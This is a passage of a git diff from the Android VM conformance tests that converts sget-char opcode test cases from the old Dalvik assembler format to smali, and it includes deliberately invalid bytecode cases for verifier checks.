+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_16;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_17.d
deleted file mode 100644
index abff0e4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_17.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_17
-.super java/lang/Object
-
-.field public static i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-char v0, dot.junit.opcodes.sget_char.d.T_sget_char_17.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_17.smali
new file mode 100644
index 0000000..d8d5d90
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_17.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_17;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_17;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_18.d
deleted file mode 100644
index b73a284..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_18.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_18
-.super java/lang/Object
-
-.field public static i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-char v0, dot.junit.opcodes.sget_char.d.T_sget_char_18.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_18.smali
new file mode 100644
index 0000000..f3868d7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_18.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_18;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_18;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_19.d
deleted file mode 100644
index 437c0bd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_19.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_19
-.super java/lang/Object
-
-.field public static i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-char v0, dot.junit.opcodes.sget_char.d.T_sget_char_19.i1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_19.smali
new file mode 100644
index 0000000..aa6b315
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_19.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_19;
+.super  Ljava/lang/Object;
+
+.field public static i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_19;->i1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_20.d
deleted file mode 100644
index eeaff5d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_20.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_20
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-char v0, dot.junit.opcodes.sget_char.d.T_sget_char_20.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_20.smali
new file mode 100644
index 0000000..979370a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_20.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_20;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_20;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_3.d
deleted file mode 100644
index 3c6e95d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_3.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_3
-.super java/lang/Object
-
-.field public static i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-char v3, dot.junit.opcodes.sget_char.d.T_sget_char_3.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_3.smali
new file mode 100644
index 0000000..88c30e7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_3.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_3;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-char v3, Ldot/junit/opcodes/sget_char/d/T_sget_char_3;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_4.d
deleted file mode 100644
index 9aeb10d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_4.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_4
-.super java/lang/Object
-
-.field public static i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       sget-char v1, dot.junit.opcodes.sget_char.d.T_sget_char_4.i1 C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_4.smali
new file mode 100644
index 0000000..2fe5687
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_4.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_4;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       sget-char v1, Ldot/junit/opcodes/sget_char/d/T_sget_char_4;->i1:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_5.d
deleted file mode 100644
index fe1c7ba..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_5.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_5.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_5
-.super java/lang/Object
-
-.field public i1 C
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-
-       const v2, 77
-       iput-char v2, v3, dot.junit.opcodes.sget_char.d.T_sget_char_5.i1 C
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       sget-char v1, dot.junit.opcodes.sget_char.d.T_sget_char_5.i1 C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_5.smali
new file mode 100644
index 0000000..255251b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_5.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_5.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_5;
+.super  Ljava/lang/Object;
+
+.field public i1:C
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+
+       const v2, 77
+       iput-char v2, v3, Ldot/junit/opcodes/sget_char/d/T_sget_char_5;->i1:C
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       sget-char v1, Ldot/junit/opcodes/sget_char/d/T_sget_char_5;->i1:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_6.d
deleted file mode 100644
index f984ada..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_6.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       sget-char v1, dot.junit.opcodes.sget_char.TestStubs.TestStubField C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_6.smali
new file mode 100644
index 0000000..8002da1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_6.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       sget-char v1, Ldot/junit/opcodes/sget_char/TestStubs;->TestStubField:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_7.d
deleted file mode 100644
index d7b5e35..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_7.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       sget-char v1, dot.junit.opcodes.sget_char.d.T_sget_char_7no_class.i1 C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_7.smali
new file mode 100644
index 0000000..ae81db9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_7.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       sget-char v1, Ldot/junit/opcodes/sget_char/d/T_sget_char_7no_class;->i1:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_8.d
deleted file mode 100644
index 89ac2c8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_8.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       sget-char v1, dot.junit.opcodes.sget_char.d.T_sget_char_8.i1N C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_8.smali
new file mode 100644
index 0000000..baa0bc3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_8.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       sget-char v1, Ldot/junit/opcodes/sget_char/d/T_sget_char_8;->i1N:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_9.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_9.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_9.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_9.smalis/StubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_9.smalis/StubInitError.smali
new file mode 100644
index 0000000..c3ce384
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_9.smalis/StubInitError.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_char/d/StubInitError;
+.super Ljava/lang/Object;
+.source "StubInitError.java"
+
+
+# static fields
+.field public static value:C
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x1
+
+    div-int/2addr v1, v0
+
+    const v1, 0x1
+
+    sput-char v1, Ldot/junit/opcodes/sget_char/d/StubInitError;->value:C
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_9.smalis/T_sget_char_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_9.smalis/T_sget_char_9.smali
new file mode 100644
index 0000000..8c89b69
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_9.smalis/T_sget_char_9.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_char/d/T_sget_char_9;
+.super Ljava/lang/Object;
+.source "T_sget_char_9.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()C
+    .registers 3
+
+    sget-char v1, Ldot/junit/opcodes/sget_char/d/StubInitError;->value:C
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_1.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_1.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_1.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_1.smali
new file mode 100644
index 0000000..b0543e5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_1.smali
@@ -0,0 +1,63 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
